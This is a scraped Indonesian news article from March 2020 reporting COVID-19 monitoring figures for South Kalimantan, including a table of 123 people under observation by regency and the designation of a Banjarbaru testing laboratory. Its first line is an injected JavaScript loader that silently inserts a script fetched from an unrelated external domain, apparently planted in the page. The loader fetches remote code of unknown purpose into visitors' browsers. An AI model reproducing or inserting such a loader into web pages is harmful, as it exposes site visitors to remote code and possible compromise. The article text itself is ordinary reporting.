(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

UPDATE. Total Ada 123 Orang Berstatus ODP Corona di Kalsel, Paling Banyak dari HSS


KANALKALIMANTAN.COM, BANJARBARU – Hingga Jumat (20/3/2020), sebanyak 123 orang berstatus Orang Dalam Pemantauan (ODP) virus Corona atau Covid 19 di Kalimantan Selatan (Kalsel). Dari sembilan kabupaten/kota, jumlah ODP terbanyak ada di Kabupaten Hulu Sungai Selatan (HSS) sebanyak 49 orang. Sedangkan paling kecil di Kabupaten Tanah Laut sebanyak 1 orang.

Hal tersebut diungkapkan Kepala Dinas Kesehatan Provinsi Kalsel, Muhammad Muslim kepada wartawan usai rapat koordinasi (Rakor) upaya pencegahan dan penanganan covid 19, Jumat (20/3/2020). Rakor bertempat di Gedung Idham Chalid, Kompleks Perkantoran Pemprov Kalsel di Banjarbaru tersebut diikuti Kepala Dinas Kesehatan se Kalsel.

“Orang dalam pemantauan cukup diawasi di rumah. Kecuali yang sakit dilayani di rumah sakit. Tapi bukan di rumah sakit rujukan, cukup di fasilitas kesehatan terdekat,” ujarnya.

Muslim mengatakan, 123 orang ini masuk dalam ODP karena habis bepergian dari daerah terdampak. “Ratusan ODP ini ialah mereka yang baru datang dari daerah terdampak Covid-19,” kata Muslim.

Tabel :
Orang Dalam Pemantuan (ODP) di Kalsel
Kabupaten/kota Jumlah
———————————————-
– Banjarmasin 10 Orang
– Banjarbaru 34 Orang
– Banjar 6 Orang
– Tanah Laut 1 Orang
– Tanbu 5 Orang
– Kotabaru 5 Orang
– Tabalong 11 Orang
– Tapin 2 Orang
– HSS 49 Orang
———————————————-
Total 123 Orang

Muslim mengatakan, sampai hari Jumat, Pasien Dalam Pengawasan (PDP) jumlahnya masih 5 orang yang yang dirawat di RSUD Ulin dengan kondisi yang semakin membaik. Sedangkan untuk status, Kalsel masih berstatus Siaga Darurat.

“Kondisi pasien terus dipantau dan pihak rumah sakit selalu melaporkan kondisi pasien minimal setiap 6 jam sekali,” jelasnya.

Untuk 5 PDP tersebut, papar Muslim, belum diketahui apakah positif Corona atau tidak karena hasil uji laboratorium belum diterima, sehingga pasien masih menjani perawatan sesuai prosedur yang ditetapkan. Untuk mempercepat hasil pemeriksaan laboratorium, jelas Muslim, sesuai SK Menteri Kesehatan maka laboratorium Banjarbaru ditunjuk sebagai laboratorium rujukan.

Muslim menjelaskan, pemerintah provinsi kini sudah menyiapkan rumah sakit rujukan tambahan jika terjadi peningkatan status. “Kita sudah siapkan RS Anshari saleh sebagai rujukan dan menambah ruang isolasi di RSUD Ulin sehingga jumlahnya 40 ruang isolasi,” ungkapnya.

Sebelumnya disampaikan, upaya dalam menghadapi pademik virus corona di provinsi Kalimantan Selatan, Pemerintah Pusat akhirnya menyetujui bahwa Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit (BBTKLPP) Banjarbaru akan menjadi laboratorium pemeriksa sampel atau spesimen virus corona atau Covid-19.

Hal ini, diungkapkan Gubernur Kalimantan Selatan Sahbirin Noor usai memimpin rapat koordinasi penanganan virus Corona di Gedung Idham Chalid, Banjarbaru, Jum’at (20/3/2020) sore. Dijelaskannya, rekomendasi pemerintah itu berdasarkan Keputusan Menteri Kesehatan Nomor HK.01.07./MENKES/124/2020.


“Alhamdulillah, hari ini telah keluar SK dari Kemenkes dengan ditunjuknya Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit Banjarbaru tentang jajaring laboratorium pemeriksaan corona virus. Ini merupakan kabar baik bagi kita,” ucapnya.

Terkait keputusan yang dikeluarkan oleh pemerintah pusat tersebut, Paman Birin -sapaan akrab Gubernur- mengucapkan terima kasih kepada seluruh pihak atas upaya nyata dalam melakukan pencegahan virus corona. Termasuk upaya uji sampel Covid- -19.

Dikatakan Paman Birin, hingga tanggal 20 Maret 2020, belum ada masyarakat Kaslel yang dinyatakan positif terkena virus corona. Meski begitu, dirinya meminta masyarakat untuk tetap waspada dan mengedepankan pola hidup sehat.

Nantinya, Laboratorium pemeriksa di BBTKLPP Banjarbaru akan melakukan screening atau pemeriksaan pada spesimen corona. Penerapan yang dilakukan juga harus sesuai dengan Standar Operasional Prosedur (SOP) yang telah ditetapkan dari Kemenkes RI. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell


Desy Arfianty

Recent Posts

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

17 menit ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

3 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

16 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

18 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

18 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

20 jam ago

This website uses cookies.